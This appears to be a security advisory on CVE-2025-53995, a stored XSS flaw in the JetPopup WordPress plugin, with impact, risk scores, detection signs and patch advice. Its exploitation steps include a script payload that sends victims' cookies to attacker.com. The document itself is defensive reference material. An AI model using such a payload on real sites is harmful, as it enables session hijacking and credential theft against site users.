CVE-2025-53995: 
WordPress vulnerability analysis and mitigation

CVE-2025-53995 is a Stored Cross-Site Scripting (XSS) vulnerability in the Crocoblock JetPopup WordPress plugin, classified under CWE-79. It affects all versions of JetPopup up to and including 2.0.15.1, and was reported by researcher "stealthcopter" on July 4, 2025, with public disclosure on July 16, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack (Patchstack, Red Hat CVE).

The vulnerability stems from improper neutralization of user-supplied input during web page generation (CWE-79), allowing malicious scripts to be persistently stored and later rendered in victims' browsers. Exploitation requires an authenticated user with at least Contributor-level privileges to inject the malicious payload, and successful impact requires a privileged user to interact with the affected content (e.g., viewing a crafted page). No public proof-of-concept code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious scripts — such as redirects, advertisements, or arbitrary HTML/JavaScript payloads — into the WordPress site, which execute in the browsers of visiting users. This can lead to session hijacking, credential theft, defacement, or delivery of further malware to site visitors. The scope is changed (S:C in CVSS), meaning the injected script can affect users beyond the attacker's own session (Patchstack).

No active in-the-wild exploitation has been reported, and no exploit code is publicly known. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited despite the general risk that XSS vulnerabilities are used in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Reconnaissance: Identify WordPress sites running JetPopup plugin version 2.0.15.1 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or higher-level account on the target WordPress site.
3. Inject malicious payload: Using the authenticated session, create or edit content (e.g., a popup configuration) in the JetPopup plugin interface and insert a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> into an insufficiently sanitized input field.
4. Trigger execution: Wait for a privileged user (e.g., administrator) or site visitor to view the page or popup containing the injected payload, causing the script to execute in their browser.
5. Achieve objective: Harvest session cookies, redirect victims, or deliver further malicious content depending on the attacker's goal (Patchstack).

• Logs: WordPress access logs showing authenticated POST requests to JetPopup plugin endpoints containing script tags or encoded JavaScript payloads; unusual edits to popup configurations by low-privilege accounts.
• File System: Unexpected modifications to JetPopup plugin data or database entries containing <script>, javascript:, or event handler attributes (e.g., onerror, onload) in popup content fields.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages with JetPopup popups, potentially indicating cookie or credential exfiltration.

The vulnerability is patched in JetPopup version 2.0.16. Site administrators should update the JetPopup plugin to version 2.0.16 or later immediately. If an immediate update is not possible, restrict Contributor-level user registration and review existing popup configurations for suspicious script content. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

Wordfence included this vulnerability in its weekly WordPress vulnerability report for the period of July 14–20, 2025, providing broader community visibility. Red Hat also tracked the CVE in its security advisory database. No significant researcher commentary or media coverage beyond standard vulnerability reporting has been identified (Wordfence, Red Hat CVE).